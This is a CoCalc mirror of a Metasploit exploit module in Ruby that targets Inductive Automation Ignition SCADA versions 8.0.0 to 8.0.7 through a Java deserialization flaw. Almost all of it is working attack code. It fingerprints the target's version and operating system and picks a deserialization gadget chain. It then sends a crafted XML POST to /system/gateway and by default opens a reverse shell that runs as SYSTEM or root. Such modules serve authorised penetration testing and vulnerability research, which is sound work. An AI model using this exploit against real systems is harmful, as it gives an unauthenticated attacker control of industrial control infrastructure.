CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/scada/inductive_ignition_rce.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::JavaDeserialization
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Inductive Automation Ignition Remote Code Execution',
18
'Description' => %q{
19
This module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product,
20
versions 8.0.0 to (and including) 8.0.7.
21
This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows.
22
The default configuration is exploitable by an unauthenticated attacker, which can achieve
23
remote code execution as SYSTEM on a Windows installation and root on Linux.
24
The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro +
25
Radek Domanski).
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
30
'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
31
],
32
'References' => [
33
[ 'URL', 'https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami'],
34
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/rce_me_v2/rce_me_v2.md'],
35
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Miami2020/rce_me_v2.md'],
36
[ 'CVE', '2020-10644'],
37
[ 'CVE', '2020-12004'],
38
[ 'ZDI', '20-685'],
39
[ 'ZDI', '20-686'],
40
],
41
'Privileged' => true,
42
'Platform' => %w[unix win],
43
'DefaultOptions' => {
44
'WfsDelay' => 15
45
},
46
'Targets' => [
47
[ 'Automatic', {} ],
48
[
49
'Windows',
50
{
51
'Platform' => 'win',
52
'DefaultOptions' =>
53
{ 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
54
},
55
],
56
[
57
'Linux',
58
{
59
'Platform' => 'unix',
60
'Arch' => [ARCH_CMD],
61
'DefaultOptions' =>
62
{ 'PAYLOAD' => 'cmd/unix/reverse_python' }
63
},
64
]
65
],
66
'DisclosureDate' => '2020-06-11',
67
'DefaultTarget' => 0,
68
'Notes' => {
69
'Stability' => [ CRASH_SAFE ],
70
'SideEffects' => [ IOC_IN_LOGS ],
71
'Reliability' => [ REPEATABLE_SESSION ]
72
}
73
)
74
)
75
register_options(
76
[
77
Opt::RPORT(8088)
78
]
79
)
80
end
81
82
def version_get
83
res = send_request_cgi({
84
'uri' => '/system/gwinfo',
85
'method' => 'GET'
86
})
87
88
if res && res.code == 302
89
# try again, versions < 8 use a different URL
90
res = send_request_cgi({
91
'uri' => '/main/system/gwinfo',
92
'method' => 'GET'
93
})
94
end
95
96
if res && res.code == 200
97
# Regexp to get the version of the server
98
version = res.body.match(/;Version=([0-9.]{3,});/)
99
if version
100
return version[1]
101
end
102
end
103
return ''
104
end
105
106
def os_get
107
res = send_request_cgi({
108
'uri' => '/system/gwinfo',
109
'method' => 'GET'
110
})
111
if res && res.code == 200
112
# Regexp to get the OS
113
os = res.body.match(/OS=([a-zA-Z0-9\s]+);/)
114
return os[1]
115
end
116
end
117
118
def create_java_str(payload)
119
(
120
"\xac\xed" + # STREAM_MAGIC
121
"\x00\x05" + # STREAM_VERSION
122
"\x74" + # String object
123
[payload.length].pack('n') + # length
124
payload
125
).force_encoding('ascii') # is this needed in msf?
126
end
127
128
def check
129
version = Rex::Version.new(version_get)
130
if version.segments.length < 3
131
fail_with(Failure::Unknown, 'Failed to obtain target version')
132
end
133
print_status("#{peer} - Detected version #{version}")
134
if version >= Rex::Version.new('8.0.0') && version <= Rex::Version.new('8.0.7')
135
return Exploit::CheckCode::Appears
136
else
137
return Exploit::CheckCode::Safe
138
end
139
end
140
141
def pick_target
142
os = os_get
143
if os.include?('Windows')
144
return targets[1]
145
elsif os.include?('Linux')
146
return targets[2]
147
else
148
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail out.")
149
end
150
end
151
152
def exploit
153
# Check if automatic target selection is set
154
if target.name == 'Automatic'
155
my_target = pick_target
156
else
157
my_target = target
158
end
159
print_status("#{peer} - Attacking #{my_target.name} target")
160
161
# <version> is a CRC32 calculated by the server that we didn't want to reverse
162
# However in com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
163
# (line 383 of gateway-8.0.7.jar)
164
# ... it will helpfully ignore the version if set to 0
165
data =
166
'<?xml version="1.0" encoding="UTF-8"?><requestwrapper><version>0</version><scope>2</scope><message><messagetype>199</messagetype><messagebody>'\
167
'<arg name="funcId"><![CDATA[ProjectDownload]]></arg><arg name="subFunction"><![CDATA[getDiff]]></arg><arg name="arg" index="0">'\
168
'<![CDATA['
169
170
version = Rex::Version.new(version_get)
171
172
if version
173
print_status("#{peer} - Detected version #{version}")
174
else
175
print_error("#{peer} - Target has an unknown version, this might not work...")
176
end
177
178
# Version 8.0.0 doesn't work with CommonsBeanutils1, but CommonsCollections6 works!
179
#
180
# An alternative to this would be GET /system/launchmf/D which will helpfully return
181
# a list of all the jars in the system, letting us pick the right gadget chain.
182
# However only 8.0.0 differs, so let's just have a special case for that.
183
if version == Rex::Version.new('8.0.0')
184
lib = 'CommonsCollections6'
185
else
186
lib = 'CommonsBeanutils1'
187
end
188
189
java_payload = generate_java_deserialization_for_payload(lib, payload)
190
java_payload = Rex::Text.encode_base64(java_payload)
191
java_payload = create_java_str(java_payload)
192
java_payload = Rex::Text.encode_base64(java_payload)
193
data += java_payload
194
195
data += ']]></arg></messagebody></message><locale><l>en</l><c>GB</c><v></v></locale></requestwrapper>'
196
197
print_status("#{peer} - Sending payload...")
198
199
res = send_request_cgi({
200
'uri' => '/system/gateway',
201
'method' => 'POST',
202
'data' => data
203
})
204
205
if res&.body&.include?('Unable to load project diff.')
206
print_good("#{peer} - Success, shell incoming!")
207
else
208
print_error("#{peer} - Something is not right, try again?")
209
end
210
end
211
end
212
213